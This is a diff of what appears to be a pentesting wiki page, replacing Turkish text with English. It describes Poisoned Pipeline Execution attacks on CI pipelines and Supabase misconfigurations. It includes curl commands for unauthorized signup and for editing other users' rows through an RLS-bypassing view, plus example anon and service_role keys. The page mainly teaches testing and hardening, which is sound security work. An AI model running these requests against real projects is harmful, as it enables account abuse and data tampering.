The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
|
||||
Bir saldırganın PPE saldırısında başarılı olabilmesi için:
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
|
||||
- VCS platformunda **write access**e sahip olması gerekir; çünkü genelde pipeline'lar bir push veya pull request gerçekleştiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting methodology bölümüne bakın).
|
||||
- Bazen bir **external PR'in "write access" sayıldığı** unutulmamalıdır.
|
||||
- Write izinleri olsa bile, CI config dosyasını veya config'in rely ettiği diğer dosyaları **değiştirebileceğinden emin olması** gerekir.
|
||||
- Bunun için branch protections'ı **bypass edebilmesi** gerekebilir.
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
|
||||
3 PPE çeşidi vardır:
|
||||
There are 3 PPE flavours:
|
||||
|
||||
- **D-PPE**: Bir **Direct PPE** saldırısı, aktörün yürütülecek CI config dosyasını **direkt olarak değiştirdiği** durumdur.
|
||||
- **I-DDE**: Bir **Indirect PPE** saldırısı, aktörün CI config dosyasının **rely ettiği** (ör. make file veya terraform config gibi) bir **dosyayı değiştirdiği** durumdur.
|
||||
- **Public PPE or 3PE**: Bazı durumlarda pipeline'lar repo içinde write access'i olmayan kullanıcılar tarafından (ve hatta org üyesi olmayanlar tarafından) gönderilen PR'lerle **tetiklenebilir**.
|
||||
- **3PE Command Injection**: Genelde CI/CD pipeline'ları PR hakkında bilgi içeren environment variable'lar **ayarlar**. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (ör. PR başlığı gibi) ve **tehlikeli bir yerde** (ör. sh komutları çalıştırılan bir yerde) **kullanılıyorsa**, saldırgan oraya **komut enjekte edebilir**.
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Bir pipeline'ı zehirlemenin 3 çeşidini bildiğimize göre, saldırganın başarılı bir exploitation sonrasında neler elde edebileceğine bakalım:
|
||||
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
|
||||
|
||||
- **Secrets**: Daha önce de bahsedildiği gibi, pipeline job'ları code'u almak, build etmek, deploy etmek vb. için **privileges** gerektirir ve bu ayrıcalıklar genelde **secrets** içinde saklanır. Bu secrets genelde **env variables** veya sistem içindeki dosyalar aracılığıyla erişilebilir. Bu nedenle bir saldırgan mümkün olduğunca çok secrets exfiltrate etmeye çalışacaktır.
|
||||
- Pipeline platformuna bağlı olarak saldırgan **secret'ları config içinde belirtmek** zorunda olabilir. Bu, eğer saldırgan CI configuration pipeline'ını değiştiremiyorsa (**I-PPE** gibi), sadece o pipeline'ın sahip olduğu secrets'ları exfiltrate edebileceği anlamına gelir.
|
||||
- **Computation**: Code bir yerde çalıştırılır; çalıştırıldığı yere bağlı olarak saldırgan daha fazla pivot yapabilir.
|
||||
- **On-Premises**: Pipeline'lar on-premises çalıştırılıyorsa, saldırgan **daha fazla kaynağa erişimi olan internal bir ağa** ulaşabilir.
|
||||
- **Cloud**: Saldırgan diğer cloud makinelerine erişebileceği gibi IAM roles/service accounts **token'larını** exfiltrate ederek cloud içinde **daha fazla erişim** elde edebilir.
|
||||
- **Platforms machine**: Bazen job'lar pipeline platform makineleri içinde çalıştırılır; genelde bunlar cloud içinde olup **başka erişime sahip değildir**.
|
||||
- **Select it:** Bazı pipeline platformlarında **çeşitli makineler yapılandırılmış** olur ve eğer CI configuration dosyasını **değiştirebiliyorsanız** kodu **nerede çalıştırmak istediğinizi** belirtebilirsiniz. Bu durumda saldırgan, her mümkün makinede reverse shell çalıştırıp onlardan daha fazla exploit denemesi yapabilir.
|
||||
- **Compromise production**: Eğer pipeline içindeyseniz ve final versiyon pipeline'dan build edilip deploy ediliyorsa, production'da çalışacak olan code'u **compromise edebilirsiniz**.
|
||||
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
|
||||
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
|
||||
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
|
||||
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
|
||||
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
|
||||
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
|
||||
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
|
||||
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) açık kaynak bir araçtır ve yeni bir [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde yazılım tedarik zinciri yığınıınızı güvenlik uyumluluğu açısından denetler. Denetim, kod zamanından deploy zamanına kadar tüm SDLC sürecine odaklanır ve riskleri ortaya çıkarabilir.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Cider'a göre top 10 CI/CD risklerini anlatan ilginç makaleyi inceleyin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Her platform için lokal olarak çalıştırılabilecek lab'larda nasıl başlatılacağı gösterilir; böylece istediğiniz gibi yapılandırıp test edebilirsiniz
|
||||
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**, infrastructure-as-code için statik kod analiz aracı.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,48 +1,50 @@
|
||||
# Supabase Güvenlik
|
||||
# Supabase Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
|
||||
|
||||
### Alt alan adı
|
||||
### Subdomain
|
||||
|
||||
Genel olarak bir proje oluşturulduğunda kullanıcı şu formatta bir supabase.co alt alan adı alır: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
|
||||
|
||||
## **Veritabanı yapılandırması**
|
||||
## **Database configuration**
|
||||
|
||||
> [!TIP]
|
||||
> **Bu verilere şu tarz bir linkten erişilebilir: `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
|
||||
|
||||
Bu **veritabanı** belirli bir AWS bölgesinde dağıtılacaktır ve bağlanmak için şu bağlantı kullanılabilir: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (bu örnek us-west-1'de oluşturuldu). Parola, kullanıcının önceden belirlediği **parola**dır.
|
||||
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
|
||||
The password is a **password the user put** previously.
|
||||
|
||||
Bu nedenle, alt alan adı biliniyor, kullanıcı adı olarak kullanılıyor ve AWS bölgeleri sınırlı olduğundan, **brute force the password** denenebilir.
|
||||
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
|
||||
|
||||
Bu bölüm ayrıca şu seçenekleri içerir:
|
||||
This section also contains options to:
|
||||
|
||||
- Veritabanı parolasını sıfırlama
|
||||
- Connection pooling'i yapılandırma
|
||||
- SSL'i yapılandırma: plan-text bağlantılarını reddet (varsayılan olarak etkinler)
|
||||
- Disk boyutunu yapılandırma
|
||||
- Ağ kısıtlamaları ve yasakları uygulama
|
||||
- Reset the database password
|
||||
- Configure connection pooling
|
||||
- Configure SSL: Reject plan-text connections (by default they are enabled)
|
||||
- Configure Disk size
|
||||
- Apply network restrictions and bans
|
||||
|
||||
## API Yapılandırması
|
||||
## API Configuration
|
||||
|
||||
> [!TIP]
|
||||
> **Bu verilere şu tarz bir linkten erişilebilir: `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
|
||||
|
||||
Projenizdeki supabase API'sine erişim URL'si şu şekilde olacaktır: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
|
||||
|
||||
### anon api keys
|
||||
|
||||
Ayrıca `role: "anon"` olan bir **anon API key** üretilir, örneğin: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` — uygulamanın API ile iletişim kurmak için kullanması gerekir.
|
||||
It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
|
||||
|
||||
It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kayıt (/auth/v1/signup)</summary>
|
||||
<summary>Signup (/auth/v1/signup)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/signup HTTP/2
|
||||
Host: id.io.net
|
||||
@@ -67,11 +69,13 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Giriş (/auth/v1/token?grant_type=password)</summary>
|
||||
<summary>Login (/auth/v1/token?grant_type=password)</summary>
|
||||
|
||||
```
|
||||
POST /auth/v1/token?grant_type=password HTTP/2
|
||||
Host: hypzbtgspjkludjcnjxl.supabase.co
|
||||
@@ -96,164 +100,173 @@ Priority: u=1, i
|
||||
|
||||
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Yani, bir müşterinin kendisine verilen alt alan adını kullanan bir supabase istemcisi keşfettiğinizde (şirketin bir alt alanının supabase alt alanlarına CNAME koymuş olması mümkün), **supabase API**'yi kullanarak platformda yeni bir hesap oluşturmayı deneyebilirsiniz.
|
||||
So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
|
||||
|
||||
### secret / service_role api keys
|
||||
|
||||
Bir gizli API anahtarı ayrıca **`role: "service_role"`** ile oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Row Level Security**'yi atlayabilecektir.
|
||||
A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
|
||||
|
||||
API anahtarı şöyle görünür: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
|
||||
|
||||
### JWT Secret
|
||||
|
||||
Bir **JWT Secret** de oluşturulacak, böylece uygulama **özel JWT tokenları oluşturup imzalayabilir**.
|
||||
A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
|
||||
|
||||
## Authentication
|
||||
|
||||
### Signups
|
||||
|
||||
> [!TIP]
|
||||
> Varsayılan olarak supabase, önce bahsedilen API uç noktalarını kullanarak projenizde yeni kullanıcıların hesap oluşturmasına izin verir.
|
||||
> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
|
||||
|
||||
Bununla birlikte, bu yeni hesaplar varsayılan olarak **oturum açabilmek için e-posta adreslerini doğrulamak zorunda olacaklardır**. İnsanların e-posta adreslerini doğrulamadan giriş yapmalarına izin vermek için **"Allow anonymous sign-ins"** etkinleştirmek mümkündür. Bu, **beklenmeyen verilere** erişim sağlayabilir (altyapı kullanıcıları `public` ve `authenticated` rollerini alır).\ Bu çok kötü bir fikirdir çünkü supabase aktif kullanıcı başına ücretlendirir; insanlar kullanıcı oluşturup giriş yaparsa supabase bunlar için ücret alacaktır:
|
||||
However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
|
||||
This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
|
||||
|
||||
<figure><img src="../images/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Auth: Server-side signup enforcement
|
||||
|
||||
Frontend'de kayıt butonunu gizlemek yeterli değildir. Eğer **Auth server hala kayıtlara izin veriyorsa**, bir saldırgan public `anon` anahtarıyla doğrudan API'yi çağırıp rastgele kullanıcılar oluşturabilir.
|
||||
Hiding the signup button in the frontend is not enough. If the **Auth server still allows signups**, an attacker can call the API directly with the public `anon` key and create arbitrary users.
|
||||
|
||||
Quick test (from an unauthenticated client):
|
||||
|
||||
Hızlı test (kimliği doğrulanmamış bir istemciden):
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"attacker@example.com","password":"Sup3rStr0ng!"}' \
|
||||
https://<PROJECT_REF>.supabase.co/auth/v1/signup
|
||||
```
|
||||
|
||||
Expected hardening:
|
||||
- Dashboard'ta email/password kayıtlarını devre dışı bırakın: Authentication → Providers → Email → Disable sign ups (invite-only), veya eşdeğer GoTrue ayarını yapın.
|
||||
- API'nin önceki çağrıya artık 4xx döndürdüğünü ve yeni bir kullanıcı oluşturulmadığını doğrulayın.
|
||||
- Eğer davetler veya SSO'ya güveniyorsanız, açıkça gerekmedikçe diğer tüm providers'ın devre dışı olduğundan emin olun.
|
||||
- Disable email/password signups in the Dashboard: Authentication → Providers → Email → Disable sign ups (invite-only), or set the equivalent GoTrue setting.
|
||||
- Verify the API now returns 4xx to the previous call and no new user is created.
|
||||
- If you rely on invites or SSO, ensure all other providers are disabled unless explicitly needed.
|
||||
|
||||
## RLS and Views: Write bypass via PostgREST
|
||||
|
||||
Duyarlı sütunları “gizlemek” için bir Postgres VIEW kullanmak ve bunu PostgREST üzerinden açığa çıkarmak, ayrıcalıkların nasıl değerlendirildiğini değiştirebilir. In PostgreSQL:
|
||||
- Ordinary views varsayılan olarak view sahibinin ayrıcalıklarıyla çalışır (definer semantics). PG ≥15'te `security_invoker`'a geçiş yapabilirsiniz.
|
||||
- Row Level Security (RLS) temel tablolarda uygulanır. Tablo sahipleri, tabloya `FORCE ROW LEVEL SECURITY` ayarı yapılmadıkça RLS'yi atlar.
|
||||
- Updatable views INSERT/UPDATE/DELETE kabul edebilir ve bunlar daha sonra base tabloya uygulanır. `WITH CHECK OPTION` yoksa, view predicate'ine uymayan yazma işlemleri yine de başarılı olabilir.
|
||||
Using a Postgres VIEW to “hide” sensitive columns and exposing it via PostgREST can change how privileges are evaluated. In PostgreSQL:
|
||||
- Ordinary views execute with the privileges of the view owner by default (definer semantics). In PG ≥15 you can opt into `security_invoker`.
|
||||
- Row Level Security (RLS) applies on base tables. Table owners bypass RLS unless `FORCE ROW LEVEL SECURITY` is set on the table.
|
||||
- Updatable views can accept INSERT/UPDATE/DELETE that are then applied to the base table. Without `WITH CHECK OPTION`, writes that don’t match the view predicate may still succeed.
|
||||
|
||||
Risk pattern observed in the wild:
|
||||
- Azaltılmış sütunlu bir view Supabase REST üzerinden açığa çıkarılır ve `anon`/`authenticated`'a yetki verilir.
|
||||
- PostgREST, updatable view üzerinde DML'e izin verir ve işlem view sahibinin ayrıcalıklarıyla değerlendirilir; bu da base tablodaki amaçlanan RLS politikalarını fiilen atlatır.
|
||||
- Sonuç: düşük ayrıcalıklı istemciler, değiştirmemeleri gereken satırları (ör. profile bios/avatars) topluca düzenleyebilir.
|
||||
- A reduced-column view is exposed through Supabase REST and granted to `anon`/`authenticated`.
|
||||
- PostgREST allows DML on the updatable view and the operation is evaluated with the view owner’s privileges, effectively bypassing the intended RLS policies on the base table.
|
||||
- Result: low-privileged clients can mass-edit rows (e.g., profile bios/avatars) they should not be able to modify.
|
||||
|
||||
Illustrative write via view (attempted from a public client):
|
||||
|
||||
```bash
|
||||
curl -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=representation" \
|
||||
-d '{"bio":"pwned","avatar_url":"https://i.example/pwn.png"}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/users_view?id=eq.<victim_user_id>"
|
||||
```
|
||||
|
||||
Hardening checklist for views and RLS:
|
||||
- Tabloları doğrudan, açıkça belirtilmiş asgari ayrıcalık izinleri ve hassas RLS politikalarıyla açığa çıkarmayı tercih edin.
|
||||
- Bir görünümü açığa çıkarmanız gerekiyorsa:
|
||||
- Güncellenemez yapın (ör. expressions/joins içerecek şekilde) veya tüm güvensiz rollere görünümde `INSERT/UPDATE/DELETE`'i reddedin.
|
||||
- `ALTER VIEW <v> SET (security_invoker = on)` uygulanmasını sağlayın; böylece invoker’ın ayrıcalıkları owner’ınkiler yerine kullanılır.
|
||||
- Temel tablolarda `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` kullanın; böylece sahipler bile RLS'e tabi olur.
|
||||
- Eğer updatable bir görünüm aracılığıyla yazılara izin veriyorsanız, `WITH [LOCAL|CASCADED] CHECK OPTION` ekleyin ve temel tablolarda tamamlayıcı RLS ile yalnızca izin verilen satırların yazılabileceğinden/değiştirilebileceğinden emin olun.
|
||||
- Supabase'de, end-to-end davranışı testlerle doğrulamamışsanız, view'lar üzerinde `anon`/`authenticated` rollerine herhangi bir yazma ayrıcalığı vermekten kaçının.
|
||||
- Prefer exposing base tables with explicit, least-privilege grants and precise RLS policies.
|
||||
- If you must expose a view:
|
||||
- Make it non-updatable (e.g., include expressions/joins) or deny `INSERT/UPDATE/DELETE` on the view to all untrusted roles.
|
||||
- Enforce `ALTER VIEW <v> SET (security_invoker = on)` so the invoker’s privileges are used instead of the owner’s.
|
||||
- On base tables, use `ALTER TABLE <t> FORCE ROW LEVEL SECURITY;` so even owners are subject to RLS.
|
||||
- If allowing writes via an updatable view, add `WITH [LOCAL|CASCADED] CHECK OPTION` and complementary RLS on base tables to ensure only allowed rows can be written/changed.
|
||||
- In Supabase, avoid granting `anon`/`authenticated` any write privileges on views unless you have verified end-to-end behavior with tests.
|
||||
|
||||
Detection tip:
|
||||
- `anon` ve bir `authenticated` test kullanıcısı ile her açığa çıkarılmış tablo/görünüm üzerinde tüm CRUD işlemlerini deneyin. Reddedilmesini beklediğiniz halde başarılı olan herhangi bir yazma, bir yanlış yapılandırmaya işaret eder.
|
||||
- From `anon` and an `authenticated` test user, attempt all CRUD operations against every exposed table/view. Any successful write where you expected denial indicates a misconfiguration.
|
||||
|
||||
### OpenAPI-driven CRUD probing from anon/auth roles
|
||||
|
||||
PostgREST, tüm REST kaynaklarını numaralandırmak ve ardından düşük ayrıcalıklı rollerden izin verilen işlemleri otomatik olarak probe etmek için kullanabileceğiniz bir OpenAPI belgesi sunar.
|
||||
PostgREST exposes an OpenAPI document that you can use to enumerate all REST resources, then automatically probe allowed operations from low-privileged roles.
|
||||
|
||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
Probe deseni (örnekler):
|
||||
- Tek bir satırı oku (beklenen 401/403/200, RLS'e bağlı olarak):
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- UPDATE testi engellenmiş (test sırasında verileri değiştirmemek için var olmayan bir filtre kullanın):
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Test INSERT engellendi:
|
||||
- Test INSERT is blocked:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Test DELETE engellenmiş:
|
||||
- Test DELETE is blocked:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
Öneriler:
|
||||
- Önceki taramaları hem `anon` hem de minimum düzeyde `authenticated` kullanıcı için otomatikleştir ve regresyonları yakalamak için CI'ye entegre et.
|
||||
- Her açık tablo/görünüm/fonksiyonu birinci sınıf bir yüzey olarak ele al. Bir görünümün “inherits” ile base tablolarıyla aynı RLS duruşunu varsayma.
|
||||
|
||||
### Parolalar & oturumlar
|
||||
Recommendations:
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
|
||||
### Passwords & sessions
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
Varsayılan gereksinimler zayıf olduğu için gereksinimleri **geliştirmeniz önerilir**.
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
|
||||
- User Sessions: Kullanıcı oturumlarının nasıl çalışacağını yapılandırmak mümkün (zaman aşımı, kullanıcı başına 1 oturum...)
|
||||
- Bot and Abuse Protection: Captcha'yı etkinleştirmek mümkün.
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
|
||||
### SMTP Settings
|
||||
|
||||
E-posta göndermek için bir SMTP ayarlamak mümkün.
|
||||
It's possible to set an SMTP to send emails.
|
||||
|
||||
### Advanced Settings
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Potansiyel olarak ele geçirilmiş refresh token'ları tespit edip iptal etmek ve timeout ayarlamak mümkün
|
||||
- MFA: Bir kullanıcının aynı anda kaç MFA faktörü kaydedebileceğini belirt (varsayılan 10)
|
||||
